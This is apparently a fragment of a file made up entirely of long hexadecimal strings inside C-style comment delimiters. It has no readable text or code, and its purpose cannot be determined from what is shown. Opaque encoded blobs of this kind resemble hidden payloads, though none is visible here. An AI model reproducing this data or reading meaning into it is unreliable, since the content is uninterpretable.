1ee449c34c67d24e7a57af8fd1c9fa05ff79b8c7e987d1be67bd1300bff7e04b65d479d3350759458738bddbcc42ea997786168e13da2d71f291f4ac3b08754641ceef44eae8a6b6dbff5e7b69ef7a23561d67f5340c767faed18eb4f3f05edac430d7ec94587d92d6948d93e518fccfc31018a8cb79f97570c03ebee5ea11e4a4cfc6e07ce8780d5af17d9eda51e9beb5891e5d4453be9bd5f103812da871e7b4d9bb2d014dd92be092bc25df1ab44876a07f780a2f745c2f0b88bdd1486cd70fb01cbe9ac05588503bcd8f3c2831a949c4992fde1f2a6475f95b68e2e450a84ce5273a83799e6b5034f4193acc1b58e2eab82322eb87f6736a0e3bae73783cf85f8d33f25252c6c34f0a7613c49ec9016b67364527ad69dc8ff95a1194da6e57f57cad0752cf25ac0137483e7e4709d2ca04869464a8e23f6c18a8c1e92ceb36cdb5bcfad3f084004e4c6da5709c4ff6dc4c97c9f040faed15eebac534c3444d41dd8691e913f66fc72de8141ad606b5ba348c42d40adafff5af3617ab1f1b3a603f29955a3669cf004070df5a4fe5af75c4c3d60cfc57a9a3ba7548ac877c1076b9ff4f65aa5ef50c96574d91d4ffdcbfdf5cbeb327cbae273894930d16dfb3a36a2a1ba78e01429d39f52942ae4b29e984ca389dafd770140a449d54597b9059ecd685bb4b230f3b35bb11e256be726beb6d615d052a6a64bcdc657aa54ac7d97f8c5872d7248d31efd9398c96425d9e05893f800bedec9b85c5c6679a13a0a48838e0ae74468c7290ca5c2a10ea481327b6f1929af13d330021cebf247436465c4271f3da44a007cbe4f63754606493fac6e3eeabbb66decd07e891af73022d99d817beaba51da16d7c205ffc1914e4fd2aa5e69f041a4d20c88142c718a3fab2e97d87feb40f71d9c0bd5a009ab29fe5d55a40c664535fcbc9d4875412ac4a2b3fc8f188d85756a54ad3e1ccb54634ee348ab2b4fb0c3ef11828e783c94701d5882152d420868b17350be3dc4abdf838627c48851f5301debd2949e9b57001517f8f4f3fc4ebfdf58c015239d6804430cc8083866d41fc84d269ac8f4465105a20e927817faab0c1152bd2968fbc2520e13d7c0b1bb6f2d2260c2bfbde83897bd3c382bceb945468408bbf7842792c7fcfbaf624034d3bb76e1da8beb7de5cc6a818cd14865b942b7ece470599be504661eddfad4f1872a8d6109e995a37ed0ffd838151a934d91a064a0f93d9374bae727d36d5958c9195fe6f63fee723686f1f6e3040f7690fde8eb5200*/
/*45d0c978587e67e5fc11d9dc0ee8d2bf42d38fa5e86d93fd80b459f1aaab5703d605f5422d538119657ba033f9e5e70a6b25cddb8ffd90ceb76a9b93a4591937c62316f59d179a24f5796c2e6ddd6228949d61b217028dec5387f2f6490cb832dc2d5a4a24ed3f377787e6492b87ca3cdcb130e247230194f0337288a9e4ca02d148f78764ef912c8ca365bc5c652e1d6cd1ca233cdeab4995d591bd617b84bf75dec435b57e5454c6218053bd7bb8316271c0431b9d37cc79ac8adcd93214ed52d83bad3444b95c0f2c41af23c74dc1a28b02410c3447ae21232b2ba96de20e66175110192bacedef51f35925166eac3817669763e4cf361f2dd1321ba43913b4362b5a1061a4053fd9deaba8e755f60a1cda105440834b9f840c93bf9464b66f0e7b20fb9debec498a3f412ac83b83726a2160e9a4bb8169a4cba59b964a227ab8fcaf2e52b50e8b70d0b6c1aab13b6d77f8dbaeeced6e39c6f4042a2716fe03d74a4b08b207b10b12fc4caea493ff1a322b1fa55162af315bab0de4750394e20b3273413e0dbb40e0d9b3519a92f722c02df822d1cf30d62d6e5ff20d0f035f8bfc5ac0b89dc7ebe4bf511ca697ff9cc0ac8f0187ac72b5b93f0f6f3a123e13e8de0ac5bd631994ec9d1f8aaef152b8d0dae77dde2d6921548fdb00874398741b478e33e69a58ee08e884d30c05a9f0b4f49573198aaf1fc79d7b5961cdecc79eabb5c92d03a1793482dd9242a21eff4661bcae23e521a36e8b8954df6eeb753dab8ce72ae605ccc8b6a835aa1755af70e2f33656598adba452c88062499dc1f371583bb2be67a8fc3e9418207d655f48dbb0a9c14e52c284098141e100a39866869548a92c22864c3f919c4fde84581bb67c8515aee9c9a72869fd7bd6d6f7ed07f2be8bfd608e9e11d317c174d1972fc18d25a9c61c71599e91900a82db3bac149d0b95d4520ff45e43051f8a3958f58a2b8d33627cbf4a8482ee69822f2e375cda04f84533bcd5be32d7079236e8fc6c7c47b122cea109ae043497a1c31ccaad8b976f9adaad9abf4dd4c16434b633c749880099f00d6c1f9900bfbec7f5587eed7ea5660fc23c5d068838575e9e48aef0967f6bae2204e0093df60b225df60ebe941605ca54348dc3a5965710069da5e263812d08114f92dea11c6d9e49c4c2750764e5c286f97e0f225b1a1113f5a31a666a03a5dffd77dd881b661bf1ae5c3d22561fd8ce748e5d7e70089a4734dc6bbe745e01ba331cc4253feb8bcf44d14f5d06e966c40c226e91b2a2da6191989d126ff713c3b53ebfc19f6841999e0852dcaf4e29dfee32cba75fe5c1526e50cf222c8c56de6c903cf7180721f024d34bbc97eeb438f316afc73cd13e94746f60b3dc41e9c5ecbf3d70a3a24b71a45d2f9f648d137a6ace66749a03cf2b9429f1669e62b78c181d3f0c692b2217d3e98291879eccbe8e6fa9cf93f4930d238f1538087b82594b2139ad2d8f3192e49d28397d150f178b2c1097d2404ce521969782e50875b1b287442c0f63df8681b9e104229f33aa5da19b716f0ee9aeacc40458b137472f3dae69a7d7e0c55c40064e51c167b6a2ce20dc5dbe66da2bf57479f9b095563a312159b339f4bd8abb40e1dfffa38a2739cc41e5690af6f45d734a1321e465480fffaf913857cdef1c43536a26bb6323f8bb1e361723e361a49116dc18bf9fc47a1f96b596850be0bba9aff64e7023c3394990501a584271221b12e346eb69c627a048bae6773ee81b2df348295dff450d4f71f4ba37140d040f661c2cd8a5eec1bba9e522838f903b3095a0c030ce225865916b04fae63cd7612bbcf4c6448a68212b660deff1fde83c16c21fe21a9d8b2edd4293f27add030a24a4d6a612c374b8d1e82548116a8c36f1e67d4364cd3fd9c27807694229779e0012bb323302d86cdd82d83c0ddbc8f628090d0f27bf45a4e4ff7556cca0b492037e1a70c691393128a85f1ef47b9a437c6b5ee82db49706eabb1d09da2f7513d1c0a367347c2e9d9368b0e0c2bd094e88b1eecdba860bb989fe878bfba58ed37f16e80a5ac45cc644f57a33f9e09aa58830b597fd7984a62af62057d2f2cf3c1fdd916847782fee33f2d807ae0ea284d9f764c56bcf3c9f0ce50b72f2aff1579fedc468d96379a52dce0987e36221d7080b689027b54557460f41bf21257a007297b87bba2b8b5bfef17b939ba5a26d4bc6080d8f9412cf9e2ca38c2ee5fb3a6fdaa262be381e5dfd94f77dbb2757ea1b8d7c131b2e7663ed6b9e245878b65e1731d67fec43257806aa397d33dcf659d89dbd0b9d88f3df3b144c54dcb926b572408a0a890c6dba1a321dff7f67e0f6a7c2f3eb24132c55a0398a352776f5aa8fa9e22b7b9fd92d8f931b7dc8ad0b8021a879bc29de4108c7fb93bba3ee93134f32fdbe8e216a0d036b9355d09738be1782ff51ab8d2c155dd87bcb6c92a682229d4fb70c3e94d7185af081a34c1426c7f8c1d8de666de9e8c17aac19448be83a211ece0816f0affb4af2c34feac5a5d5b05fc5da3b1131ba85e15d9d8def82ad35c71c90e13ad65a94cc114141dacd57f2ab66d57a2cbd5e9a1ea3f4138c9e0f3c3b325c0831ad666c826e416cf3e39cc7e6e8be971aa493eabd5631ac4f6e84ed01578fab5265d161a0c4814d6609645f0c83903078d7f0c4a7e58058a563f22b1e2c836db4312dc7fe2af839a8f7b7fd562c04c4630eef260aa0f0c99534fdaa9429aeca7ad13175041dd01a65e2425724012f75113f7833fd4f38cf352f8f746ad5ba66befada4a28a041a25cb96ed6e5dc672de7ca28896395fc*/
/*6c18e914bf57fbc73360897a6232745909c1183a0d1e2de661dd2faafae96b0c34d5eefe111163b89c637a7639d7e14e6d2aca21fb4bc711b80bb0a2aabeec7a25f8d200cc420090e2d3c7e8f0d355159ed2f1c9f91149a01a35d8d38190dd2c2a17b9ad0928c527eb12bb41dfbf250f0212de1dab5d46e1e32569f36678fd17421dee2bad93096400ff3e65ce8544548ec5155773eb0965fd9f1c2df9f95f4be319d72895c8f4aec25236c15530cedb6e8a88792b2a783ea7c9bfafdd909bc8c8622d546317a8aba398f5da14662781b9c75f56475c9832178d1dd62a612d0cbcb8f365493cbcd63234b338947c4f3faefdf163b702f10af65fa50a8f273c86ef7d379b687c8addfcdf9d337cd074abe19285aed5ac044930b5a283ce99a9bc0f097c95d9c311ffb7067119eae8f488ae37e4c425f23d2079e241ac898b154cace9e3be160114bb30f4c7807085f27709b9799d7a0b5a256dbae30067ccb600e2b2c052282581c86c2bb9d88af2adbb063dfc431ece7de555be3368bd7caad573eabaabfe7b44b0ebbefc08ead1c37bfd14a6a69bf9f9da14c8ede217fa3b2f7318fd4ce0b930ca06ddb20be933cf69cfbff6ee41e499aab857e5550e23afce43e0876632d54c37e332ac6411a96423dde500ac1e13718a19d0b566344f1d6a79ff79501e479d740dc030520df6bbbac608e1c6ba89b521f0724b9a572ab83aa62f80bd53a55f7b44f69af6b7e146c49aac6246e58f554ba4045685988e1331acccf97c50021952015fffbe12f7cde9e44313ceacaaaf18d644cb6c8b6035bd6e67f88177ad3460b2006acf2fca7395368baf7294b96ac4c4736325f99c634d0140ebfbf7f1b2275e44fb361552fc4e4ab53668d1c12d56a998381121458aaf92eda8b8e452050593bcd6aef94376d15604657e405fdce61130cabbfad81ef459d89db53d5c410944d809d6b65523fae70f04959a60a430e50651d5bb86d9f16f4993ed656213b836cb898936286c1f2ccfe3bca22c4852a0bc1764161f4a87427dd840e03a13e233bca163156e5b421e8e8ecc3972b586b41fa6d459aec11e0db81d53df344fb66f2318db030099196461cdb26a25a7933fda18854346c5c2ef7c183d59b911cf7117adf8e41d2ea81bee942d2688de916d26702506c42a7836e25465f2736e3d359b1c1785c1cf07d51abde4e7c1c37ba63fc34c6242460c2ac420c0f8926428799b7f8317a7e30e5b54e6d084f7bc224105d9b9aa84259eec042726f7a4df7f17dcee01bdc2e005a289ccfe96c168e2dc4870b436c5a81872408ca630b8f0cab4791430f03fbc93a9befb9d5d9954485cae38a36dd5cb7a4fe4244fe9cade4804328dae5672f19738268e73b9bfda870e7203746b98340b27a87d0ee3b5eec714ccf6cdd3e5796c00681e1e997ccd49bf8d3bbdeb271d11199f1b615be0b1b0a244606958551802526f5bae469f1fc97f42a58bf8d29d6b1cf37422f3a8727289344820f860e2e3161fcdcfeddddf2ebaeb716b59d407f4dfca59af86d1ded02d79b672f740997d970b98a2001530176b1f71d89285585f69e43ec26ec0e525ffb48a0a4952b7a0f4be83109e3903257bc68987edeae2fcf7f257a99f37ee951c015a38ec16f402d22a09d7be68bc81f95c36e39e873e41d244bc5a38e464f9eb92c383b461598bb30b234b986b9fc4ce925ab1da4fc8edf72a1babe3310cc9a3360232058b1bc4951f9058a710265a96e474f6ce1dfc97777bb109c01b890e66f2713ab1bdf5b870951447f511b37e5af4310d3941895419e13480e7a3a2fb51ed7ef5762ce1cfb826df2e26ef780ec6a5b2262336a953f57285ff2dbb919dd825e28da138f0feee7d603279398d3306c54ba909863f317f6ef929c0aae4afc853558f94e431ebc142182f5e66b931d3c70b6f76a6e56b7b6543db9c84052ab3e056c20f34f7964f2936e57a526265b5fcec5a9bb10bfa1d2da32c9305872da3f21a27f5f90d047676091bdff55e869335f0de5cec5b1ce7b0cf589e3d5936ee9287091f8cca96eaea6acaa5231f5714a1ee976904471c874c854e6e6e095d28415d4a2af0aeab431578710bd03f62ea3e16c852366599423fedfc60dea044d6f80382f63e869a080349570c7ddd23285ba0202dc9cff1c08f3896eba303cc4de8a52a62e070de2ecc794b39d89f612d213e350d7552f8c2ab91d57bea3da203321002af4ecc15eb1d7d291ae8aca83d8c454d5463b2e256df1397771f923a4454a4eaa167fdf4843481fb4fc32d12a1e64bbb2a6682b39eccb9e3dfde95bcb7050ab48f20c343a23d74a8f59fd7ba9e162567e8779f373e2ac082b911509c9cfa3864434b496249362caa05f47af7cd97c5bafe7a12915dd162214c369ab218b72a860917e13c25723fb5298c3c22ad2662655f797054bd38ac74ee3d687a58fa1dc0dbc528e5e8682f7d9797c6c0c71aae0cd8d7f17f40cac27cc9a2de26f6ac21fa57916f192764db2736778125e1f9497d770edf27879a496d031b4ecdc6d58e98c863b7fbda85a830963527288d71cb690a534bfe4644c8375e6a06d6b1722862648a6de4e4fc10da693e2cb31253cbfd8bc19149df7c5a5cf73e6e9fe7b6ec06ea0aed90d4fb6e07007e67ae6392ff2306557af5c5ac4024de3294ac1631cbf32c45bc71d70155dac3b5aa1df6ab0e5680442dec8679008aa3639052c20570912fc3f9634db1bf2f64d55be98a6ba7b00b24da20a252e9096c853b90f1a3d37b17b8ff01b46e1aef8c556e23eadb78598aa3e56ce851553824ac4e619c88cff997bad713*/
/*b41c751de1952b58cd9901aca6ac0f4b17e45b6da6695982d357559984fd6306fbf04d5d09f48d03a09e336bc9c1ac26773dc60efd603421dddecd707562ff654a9ef08579c6dde529f541ba42b12b04e9bad9cf2057b763ee545948ea866bd9bf71215e610823e94f4527b0b1e300a9aed1358a0066d18039fede0a8757035edfab8af1a5523cbaf0bca2f16f063297cb85e59efaabe5a70d8e39eacb9446d95714c490eecc190b589538051202b90909c699ce1cb7290c7e60aada300fcbfd744425b008ac696ff96ba793b948af025cdbc9ea141a0c204207d7ff5cf0950ad33005ade4fa77cafa49b0714a1bbf8f1bffe74caecb4f78a36e8a0af83ba8aac5904059da1d90a49f600aacda079704ad2fb95b995b79e49937b7cb033884956031fe34593be2ea0a2d12576aee916a8e9e17aa03c60c14d9aafd46147d885e0c7fcd7ff6add93f49a82bafbd341fa6ba99db18b95ce500adc9f2c04c1ae8698d5a05bc4d197f1f00e55429a7de90b4de3bc29ba64dfc75223654ef571f42a699727495a7ba7ccd41e6b0b02011ac253e819b8ff435cc4cc68bb5888e992e33084193177373584ccad011923c63f8369e09c70d3ea869d603bd1b1911b51c8ace18746fc931480a13c25d0d65de1b42bc0b9d62ea5e31693278ee7d15e496ad70fb390bea9593520eab26f8a2c0b5483cd7655e2b637fc9b717d644bd4d800b3a64a51dcfc3ba2026937cc70cee975dcd4a0dafce2ac8fb11a16a5f053b2a4fa060500e3632eaaee02b602c7189bca30ef73609a06888fc7df8b67796d41a577cc0d9141167991404b6ec2fcb3c1e3a230922c83385e780c7e33f61989b333c6f129d602fd5220eb15bb4d22ac5ce478c668286dcb5de2e0014a311cd2d08ac7ddddf276dbcae8fcf66bc6efe76000a4d8e0cedaea2b52a415fd5849e7036a6e360cbd71cef38b9af918ef5617b004c17aba5e572458147fb4d1210c379581a3707f62f485793938748cece546541caf00ae70aa5bda0182c9f4f69376a5f240a9ee98881acd9c6b8619d29036ab8c6b652bf757424c762b3d0876a56e9e6e5a1713d34db1d55e6bb842168d236101a11613b880d9376ce00c02f5977a82a8bf302b60d03f09c3c079b90330c77a035c30caab21f00d7dd2b13c4550373b9461dba96d357c6e8f7a6689f1ce6c1a3f6fd32f2bf7cbc40f00162c3150c425c1b3af6c0510abf40b5d5a7e74192e368dc0a47e04ddbb348f88d08864d4be0e8bf34753af51c167815fb1722aa3e3fb1a68b78909b183b6ff06b1569c30ec9b65cc9a1174d9901cc414c2acd97e44c6f3e286be811cb4a5fb8a12dbf6cd6aec93e34c381f2db36680306107f6e5449152761525335c800d2f5da98c8b7a758eac700b95545d70bee1d56afd5e6d5edf6d6d082c9666f773e35a11cc61354ffaa6cd2a6c203bde0a89a9edb689aa6f9cc6c2f1314ea189505704934f831236d0923699e04f803b41fdf0666226e91ca325883996382ab2ebcd6d07024c37ceff318fb0e55c64aa4fe814ae5d55b306579ab25b91315b9897cd4acd19636b2217c741e7abd8a50e0bdebaa193c8b831413c386aff4e00eafaa3815b5aff9485e44942a5e07094655415470a7c380f2b3d0d65cb6c1d6d08488718945a4e670cf0ab70b93d3d80aa5b37d0b3f053a6db21bded0e92ce83b7c150daecb9e4b37f4c0c2e5e9b5d5f226eeff6679177af1a2212ee974e8234d4a78839196365ad6796e3bd3d2baf73ea07dd5432d0bf3415074fb559d8f2799a45fe5e8167419b5dd49a1e4aa3bbc3e91c7dc598861b63c7c65ab562979eefdb5bad244a3191909d82f1ef3a94cd78c1b84a75d66f4eb2f258651f3b8ae48422fe7587f5bd0fc1c44eb18264e77c44a766269daabb54f02b013896590f1b3eae80231bddd488858d1c867d51ed35b8a014ffb73010c35e7decb1e96ecee120705859d8bfff24c76ac77e77d2d221b3262395937184e43ca7fa96149527fb53705bbd8b93561bf6b83c95297c0428d009b91c2caff261ce22bcafc2764b4eb120daf101985769079bfc76934b970b306489a02088535ff4f27942117dd90c6df97825f773d6f0bc2b648e8c5b9bfbdf4492d024a1bd3a7ccc479eca07bb863db0bf0f7bbf0970ad814b77b6456d8c15a707ab933c7fecf8f761910feb19e2604f8862d9462efd631ba33c178bd629f79d1e8d9419a8a71eb88c36acb81d555414a855b500cc3e614cb8ea181def28e83f0199aa9e3cdc3ab24bd3f27f38844b2c79048524fff319c39c641b89ef1fb77c4b8920b273183bed4d2430c658a1c427c2f96fca85c2c08919a2b7985266aa4340ee41e18fe885cde700480f47ffe809f5de50f292245ad02f14a26aa0040a6498641ac7d38243b98836d58c0d5433329a9d3066c53030307740565e04e2952f69b74c134f4e162145c1d0012d35d03d24077fe3482ecdead435e6aca8b7f73a7c1671ede52bde488696e8aa6b04e941daef2bd1b58840cf9fdc1efa5c82f9e17bacdf4046eb32286339d1d01aadc60151a18fe1b1fa03f2332271b50a90ff16be3ecb3d58d84aad075e41cd40236ab083a035a629e7af2d8b1959fcde9ab092e90a14d698fdcbeb8841d70b334f902503c29b3013dbf9147790046990a78ae01a24e684a001b51b1b27b92e187b3de3cd271822b5ebe4cd7fa3d05710070e1c37b6bbd42447a9f2d8e6da50dae0f2a19726ab88b6d9c31f7697346a633598511d033bc122d26f174cbda67e7c5729e874e912c2402eb45a4ae902eeacf894c4e18d127f0314d82b9fa2a*/
/*a47f7b0bb430a809301daf3b506ad03648f533e3dad3ea35bee69c6acd02bbda29d46dd63d6cc7a11b951d9b569d142c2280dac1cc2cc2d07b6154d62ace0167b4d811a9d089fcd234a04a91ae43cba7bea7379257b8dc6a30d9a51ab2401bdaf86aa37d26ac8323f5912ba92d3e565fa1395a17bc7ad05017ad73e2a8c9d1ae32ef1644b2153377b76ea594a93e1506af4dc06631ab8db1c331ad883533ac18472afc7b7dba8b6a97ea33a888a3a065a0751efe472c461aaa1a79ea68f8a7e7b9eb800cd9672d142262b156d07772e94c1b88752a713d7b09f6489f17b424809835304ff306222c2d7a27c54beaac2819dee2586337c8bb0f0cd273ac378116a57f0c611ff1f46b72c7ac79c2e3cf0dc9e05c8c77f8964c0688976b6430e9fab762c9bb3cb88d3a811cdb909b904278cf2a568f7734cbfa8feb5fa8a7506adf0a6b84eae85ec4a74a022a15e49649eb0c43f84b2d6d5a9a26732594ce94ff16d551142bb978aa517bf73d3e20ef7655a94b48691b28b8bc9651556b284d031cddab71748d53f1ea88814e91ebef3498781956539509dc943755cff27c094184c9cac178c734be9d12d75efbbce62256fe4f9172554616986a820fe5b41392c65788d9e64e9aa3b176aedea0c7cca82e5120ca64b4b704db4196e5caf0dad19f12e5132bc1246d95d8f998b6d14ccf00922ac30809f14ad77af0bfb5b24619c51efd345aab24bf5d87eaae6a26f2b419f04c40cea861048c3a57699aad1885a9395571e708df27356f547ea6eb12707c5a72fbadf34246ac6d1e0720d622982cb11a12e24b733716f3e0aa107339ae9fd25084679e582169a1384a3c2c6d6ad5fbe60f0d54de2108f37016cbd58dff1cfabf1bb300b5b73ac8c7d9e1af314dd22f4c273b06d0e2a8a2911626dee39a8f715a07c531220a27a0562575c16bedfeff9868b6e515d5b8c61661fc867b0c67179b6bc616afd942d26946cafd51a8353012a58e3ba3c10b4d2ac8118101841d55af89d64680583647d7ae5e0a0cbfa886bc164c30d363f0996748dc66ba6ea7cb0ad5ffda5681cb172dbada22efff1b0720278a5ec0170d950209b7f88e4fb9ab5756766e27a1caa9d1904622fb47d083f00af5453e78124979c14098775ee1d7089575e650951e874d755d59293ed4c37384973cfa7be4390f458a09e341e135648e1bc4b132d24be97ea52187467e7b14e3bae5911e4a8d2367ec2c2166ab6624d3a07cd2138e1438d89e0f3387519870e1df0333f30fc239bfa53ad4163034e48ea8caec2e9b1ca40757721ffb2714fa0ed8f393f76456cf435e34f6e22302e8928f0367111e5bb55832427a5fd8cb3852fb8c56fb730a9da14ace07f7aae81eea70ffee72ab3d6b60a733307832dbc6de04bedecccbf3573ddc30d14c019b6a2a33a0f33e71a54c65a5e36102e799f242b45845c4546a517e17ef92368e24a91a4a7ed69fc2d4da2646ec509f81fd28934079adaa1853560147c30d84e95158954bd9507f1ddae5612f51a5aa8df85ce8c7149aeb9bb373a868116ec6d0221cd877582350aefd49645b54f18c16023265d5faf034957d9313ea36f8e5604ccdb38259c737f42481975ca6cd377491a1f962dce2b43feb77e737df4efe8263b2a7eb4400fc83df590751ba7defaea1b87f50aab3f31094874b02f513d69bf7d82fbac1eece71dcea0fb9f4aea359c7fbaae657cce399cd1056cfd3af4ff66a80b6026a2303c81d9f9779539e9789db0be7446f7bc57069df81248f0f42c77b0cc7448a3641443126eb89a2e854342350c55a2db17a070850eb662f21cca73c977d57020ade9d1a4ec397e20ee9e5b8a94b9796d446c104762e3d7a8c3a068d1c001e0dc2a5f05662fc6e4890a20a35d2ef5e67e83c02b470441f1752ba95ccfc54e2a92cb2b51f0b3129e3fdb33fca3ab6f5b9bfca2969a5374c5a83bdbf77b6b6c44e7b796242a31bfbf7838f200b690636bc8ca1666233a49bb351ed650aa1d4ef9508a00ace06868e153dc7c44931a48df0ba4627b3005d0f485657975acaca39b8638077c8b626c24857dca0b65d386887cf5eadabd7925076b5c12fa3bd20a6d6840171cc1b029a5a9bf1fe2e59b94c8165ef49657672a6743b23f21162da196b6dacd3a27cdde5e03b977d32069a7b489ae0ddd15f87d4df812eba48036166b09f30662983bd99558bbe691e1af27da675a47377600e2dda632d9c56ce7dbc84559f0eb23d7e0133d8a1735d33e7b0a4a9f83d825e721b68986c938941343b4ebc8248f0a673bece0c847e66d18de17592039dceb4747169c0b95007e9bdc154a83c1938dc877ba856e42e1e53d817b6611c99ad41d9489adb440780c44cdab97e7bbbf62fbba2d2f303a315c0f4af3d6bccedd67b50746b33b4c7a16b0c16e2fdd8c69b7e1956cf24f9f5933c606b8fdc3dd4f14c32a63aa7638b54b78cc55c612aa97c9a440cf17895a2555285b4c0a452c60da84b842194cf2f1c69860f126eba24ffd92ddd5669b8b31d55d8a883bfd9d1f1146ba21047e49b3f7a5c295a3e082d974fbd29d3bb2dc9deecd0a31c737111ec2ac23af8c275444899e08480f16b97ac80aff227d0e1d0bde78e518cf7167949b804a7ed4d5561eae76f7acbe196b22187dbd2bf6047104603e98d5533582c3abaa57ea843e31d8c0613e44d6298239df031008d4df3ad443c15bc28bc03c050dd70bd2cd0963be15cccb07abc90fbfdd6d9957893105b7a9bebb8da810b084763fb5437dea7c8e372c3a917824f59980544ecdaa17bb84d63340b8fbde31bed7ceea1d6d83905*/
/*1358fc1aca926f13bc772f2f42dea09f5890d928bdcf73249f981c9796805b2f420bddfaa78dd21e87f3b6938046b1af240121d866d744dc89aaa885890711271f08b3c5908c460df1b3783e04c00090404b25fa2141def2a04aeb15c8b52d0135bf58f4deff23462582f58016ee19028c22c523e0cfa63ddf907ba6f502270881bca4fdf8468087a27cb7532a0f109cfb587bf18d2bc57134873ed13421a9e8fe94fcd58ef423df16d8d21c73ad3ce8acf7e125ba12fbd46918dca7b2a5ece42eba63bea81791b94bf2a3f61c84b7df1c9fba0bd3616609a68b0fc498c1ab6e95fa23261e81aba7a803cee9ede4f2cc49214849e2870c2ee49361650c456f64a88bc6ad2ef4ff655fd336043d73fa520807be3d34704ae31f44b0daae243e819b41b2fe6acc32ddb134cf1b56a4405132a866fa318bea34d4f536dd985a853d869b82b572406b4b3f7024e8a2476e21fa7d6778546da45c4b6b1e644d8c0e07cc070dad3389b7c66beaf0d40fa8b307239792c52763fbb31620ec0fabf46420a499a0322e358d9a6597afa7d455b35d52e610a7bc43f170536cf7d7a7d10dc65e7e1d2e6052e704b0d06b77521062850c84a26cf36f1a8820a81d89f4f2c571afecf75b4763e878313417ea2e02f0c5c45810e175dd38439ca51385848dd40c6ed0f6e73f687e0395496e7e1cb8f15af54402b6c139381e767fad88d25240da164587fd47f9e677ab8e1e79c383510eae51e3e5fe373cd14028071abc2976149d6e24dd2efc73ce609057e4cf1a45c19c163904fd8a213e96ca9abfdf51388fc56f6550a4ff6e394549ef97fa2509163e4a8bd8bd98eddc925a0731e93b72509baa232f0cadcf53f179ea3811843e86d4157e542ddfbff694a73f20b3ea6be19b321d9f5f226b651d4a971e1dd3413ac406e79a1814fbafa222dea91d4373df94e1976aabebd1625906f51934ed30ce3655633acb6e788ea101684131df1442ef8bb5bb877ac26b5452c717330e595683237cdcb579549388ec71b7bacce64587701d36f4849dc62e277ae4c539eb06f30686b6ace1efeed844ecc4d18fb933a563727b194eeda40cea4fcd0b3467156db5da8e39bdb814a66a4873efb332192ce7b44e321d77f22798172551a94b9290af09a6d6a2736bc73ef4bb78993e22ccf62e6853852757bca7b6472a518c07d0ae0577d7e6e54f909e6910108d1173e691104fcb5b2dab6f9ed633d255d366195318ef9d6bd522ee9c5e629199d42ccbb0bcad9858b0d04a7663d73abd0ccf55738fd44590efe84edeca8b93020cb300d2e085b0e09460de4e7576e09f263f8b1e7fbfac9d390b73ff92e98839b7b660bfb9b9c22b5fc08701c509926b5863e23cf4909d920e6e138ad5ef98ad452dd39d65f6abc130d80f4bca98d26ce8d04b3bb0c668aab4a26d8ea792d667f8fa0a44cda9e7275189c4ea108123c70ab84dbada6efdaac51b4c1b272ec9624b2ba085e31fdc9b8f869796dea9aab443b24e633f525531181029c3af6bb115bf869a63ea199cb1936b2a8365863f71e9dfc7af45a7bde405a3c8f7866777d45caf8754c7901e60369f1cee390e43b183ffe4cf87e986c9f73824b827538d6045df23c2f0503a8bdfc029c87bdf359c8e2d122be0abac5b01bffdf95cce83f6d2a953d00042b542f29f3262078262a078331a983e593e18cb08991d62a23968229bddc3d581633bcd9f39899d82b75457037bc0a06c3261b8812034bbc14afbe789708688b1f0020399c752ea0776e5127d76b31a60db36f5eb7dd93d5492332fb1779dea0c97bd6059b85d42fdb2b5bae974d551ce5bc70a7543acc0da86ddd3d2e6c0c4b09aa31d70d3ce3a6d0f77cc6410d153fd925d6de95129c2b8997d2eed598195a4d6849b8f08a7ee0aa4ade76e76d68eaf702899c808280701bbbb39ed95de56a99421083ab25f03e0a7b3eab34266b9673610ca03e5713e3f006a1d9f9ac4a842c49e3fdf5d81143d87a3b0344e2afcc8abf1ab01c6077611fe6b521d5d07a4474456c87750c171e7d24bc3089027601a53b6d2880a46a6d7aa63bb12940c9fb071cba0ae8dcad595dd4481b3c2f6a82aeafec6085c1b7ea8f01e2bfd17f4f5bf80b723785038736c7e23eb31657a8236b9838795a2a3c301aacfad12f5681262f30a9ad4417fba4e218bd5c194f4f90411a66f480ff3eae2b24aa3aa54088ab77b45db7b77c71156cace963e1c20777cfab785082df205aa96fdd6dbc18bb1019f8ff83a4cc64fc4442dafea727237d77ac44ca71bda4082f2c0831494043529571c3b0450f8583e8303f9c511ddf99a8b1895c3262e98b326e7fface98ce0077966c40940ad0d5d306ef9757966416e819b3f713d55d8d1b90a28459ba9336192d5e763681f7d9737eb7eb11b74e3eb21a63f11c5c626a98c7504913262d405ef651f61137dced9b334ebe2d40b6980c8cfec517fb48418df452a1a7e60248a64fcef2b5937f4772e24f9a8feb7386734bada87cc2196918e717f7d76e083018d6edf49c9aead0866bc59c5c757bd32899df8bc86722acc450e26597860ecc2a2e91e977746cd3d0f62065f4375aaec717ed71e0e88f116811e0892753f9e075feb410378e71a1aed39db555ebc584a40de4e090e4cadcddbe2287673211a5e3e54e29dc2cd51f99cbab9b177a3606f6830031486f5fb20217d92f9b2d7d72e592ec63ef43a7bea7b78b793e141a983271e7e5e0384d56b08ee29bf1348f9ca3bc0ad806e9f463dbb23809b9d933297b0096531136322160b2bf0d523f1c0f93aaa09abd4e2a44d7c1eb124*/
/*77b384500727de839543a1d0b58c546d45c83b88909f64af65f875b1288e403eb902642c6c8872a93dab391782691590ec85186ccbb60ddb05036b56d923fdec6f26c37e0efeb9b0b12eaf3de6cd8e91beaf23eacffb9c60feb29b801aaf3c849c77afb41aef84c79ab855277e7f81a71782f6f5347792bc5d622271ca1cf0e13d06b05016f33423b339fc9763f5ebf3d824cb28a2783697a4e08c6c6adcbec14e89768d7101e5ceb207de3655f5dc12af33c8e05efb9d3b1d479633e68c812c2aa470c88e47ef09f7fd608af4c2cd33a117ba3983e77c48afac780d2f39da0e0a9a8838ca1247e15e31aba21fd7ff0b17e530b9b1bc338c3d547706a7d06bae571962af434b13a0654da8c48501d31cfee2168a1f38d74477b1ad7cd34ef24b245ac5d77c91403bb8389e0fffc4b934b9171ef5023b2e4b08ffdad8b6617bcd1d0922543b00af85f40c61c8733e131c10fede7ccc4496386da3a6fe4f3019b8af25aaf7cc289be20f1bf9f41d54645ca2758e0b546ebd2a88020b7017f584c76ee0be1d2f11495ce98e94057ce0a43efda8d974507885372d41bafa64c74f1570455caa1a4892415e610c625db2e515f892dc307653cc53afef5bb2e6b3e20db3a74dc14448266ba8bdafaba93c420572d150a6858633f97654fc2fe5dd0fe8a7c2c2a2f7fa5dadc7aba747208b53e98d0aa365e55434d9d207346d14e69d58cb7578febcb0b93f09276f17514b0e0e059fe70a85d6eebf5ff4ec367410566ad4815415c239c812fff26ca037bce27ccb27726a28e869939df86a24c1d0f14037ba1d6fc0134e946a4f4f9be98522e6b35c9de4ae1abc2541d39de6095db2715902258c57f79acaf2ea441d9aac70b10d0380e766